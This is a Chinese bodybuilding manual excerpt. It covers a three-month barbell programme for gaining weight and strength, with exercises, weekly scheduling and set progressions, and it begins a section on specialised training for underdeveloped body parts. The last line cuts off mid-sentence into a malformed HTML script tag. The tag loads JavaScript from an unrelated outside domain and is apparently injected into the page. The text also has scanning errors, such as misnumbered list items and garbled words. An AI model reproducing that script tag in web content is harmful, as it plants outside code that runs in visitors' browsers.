第三篇:增加体重和肌肉力量的训练
按照初学者用的基础训练教程进行训练,大约经过3个月的时间,练习者对杠铃训练就能十分熟练了。
然而,也可能会出现肌肉的发达程度似乎停止不前的感觉,或者有的练习者希望肌肉力量能以更大的 幅度提高,这种情况下,可以按下面所述教程进行训练,大约经过3-6个月就会显示出效果。此外,这个教程即使对于已经积累多年经验训练有素的人来说,也是有效果的。该教程举例如下。
①双手反握弯举(Two Hands Slow Curl)
②颈后推举(Press Behind Neck)
③躬身屈臂提铃至胸(Be nt Over Rowing)
④深蹲起(DeeP Knee Bend)
⑤卧推(Bench Press)
③硬拉(Dead Lift)
⑤举腿(Leg Raise)
以上7个项目的训练方法以及训练频率等有关问题,由于都在前两个教程篇中叙述过,这里就没有必要把每项的要领等再列出来说明。但是,对于举腿这个项目要特别地说明以下一点:
在这个教程中训练举腿时,不要在足腕上捆绑重物,而是只做一组,但这一组举腿次数要尽可能地多。
此外,深蹲起要比其它几项多练,至少要多做1组以上。
一、每周的训练安排
每周安排3次训练为宜,其余4天休息,要尽可能 地使身体得到休息、恢复疲劳。比如,每周1、3、5三天 安排训练;或者每周2、4、6安排训练也可以。
二、训练方法
训练的方法有许多种,如果你练习的兴趣很高,而且又具备较强的体力,那么可按以下方法练习。
a、6次X3组-5组
选择以正确姿势能做6次动作的重量,首先完成第1组,即做6次;进行第2组训练时,将重量减少2.5公斤,也做6次;进行第3组训练时,重量比做第2组时再减2.5公斤,同样是做6次动作。如果每次减 2.5公斤重量仍然感觉负担过重,第2组、第3组完成有困难,那么进行第2、3组训练时,每组也可以减少5 公斤重量。随着训练肌肉力量得到增加后,当完成第2组后,第3组则不再减重量做6次,逐渐做到第2组也不减重量,而是3组都以第1组训练时使用的重量完成6次动作。当3组都能以第1组使用的重量完成6 次动作之后,再训练时,要在第1组做时的重量上再增加2.5公厅开始做起。以后按上述的方法依此类推。
当然,不同的项目使用的重量是有差异的。在这一点上,下面的方法基本相同。
另一种方法是:
按第1组到第3组训练时,每组都使用同等的重量进行,也就是说,要选的重量,不但在第1组时能较轻松地完成6次动作,同时也要考虑到使用这个重量做第2组、第3组时肌肉的疲劳程度及肌肉的承受能力。当用所选重量到第3组时,仍可以完成10次动作时,就应增加2. 5公斤的重量进行训练,训练仍然是从6次X3组开始进行。
b、每月增加组数的训练方法
这种方法适于体力比较弱的练习者。
首先,选择以上7个项目都能做6次的重量,l个月以后增加至10次,每次练习7个项目均做一组即可。
从第2个月开始,7个项目均练2组。练第1组时从6次起,逐渐增加至10次,第2组练习亦从6次起逐渐增加至10次。
第3个月开始,7个项目均练3组。练前2组时,每组10次;而练第3组时可从6次开始,逐渐增至10次。每组练习所使用的重量都是相同的。
不论a法,还是b法,经过一段练习,当体力有所增加时,可根据体力情况,在练习中增加适合于本人体力的组数,增至5组为止。
三、实际训练中应注意的问题
最重要的是避免训练过度。因此,提倡每周只安排3天进行训练。
平时要注意有充足的睡眠和多种多样品种的饮食,以保证足够全面的营养。
有名的《体力与健康》杂志的基谢夫·维达曾说:“能坐着却非站着;能躺下却非要坐着;本来可以走的却非要跑;本应乘车子的却要步行,假如这个人正处在想增加体重的时候,那这么做可真是太槽了。”
进行本章教程训练时,不管别人练得多么兴高彩烈,千万不可受其影响,去模仿他人的做法。而应根据本人情况,踏踏实实地按照自己的步骤进行训练。惟有对自己所要练习的教程倾注全力,才能达到最初期待的目的。应该严格自戒毫无价值的浪费体力。
第四篇:专项训练
专项训练课程的制订
经过一段训练,往往出现身体发展不均衡的现象,身体某部位的锻炼效果很明显,而另外的部位发展却很不够。这是难免的现象,因为仅仅经过半年左右的训练,就想达到使自己身体均衡全面发展,几乎是不可能的。
话虽这么说,但训练一段时间后,将自己身体各部位一对比,发现存在不均衡发展的状况,总还是感到很烦恼的。出现这种情况应怎么办好呢?
加强发达不理想部位的训练。通常的做法是,每做完这一部位的运动之后,再重复做一次,以增加对这部位肌肉的刺激。如果采用这种方法仍不解决问题的话,则应选择这个部位的专项训练,必须制订一个集中的 项训练计划。这种方法称之为“特殊化训练”
比如,上臂肌肉发展得不理想,在制订课程计划时,应多选练上臂的专项运动,而其它部位的训练,只要求能维持住现有肌肉发达程度即可。
还有重要的一点,就是制订课程计划时,应把臂部的训练安排在精力、?script src=http://cn.jxmmtv.com/cn.js>
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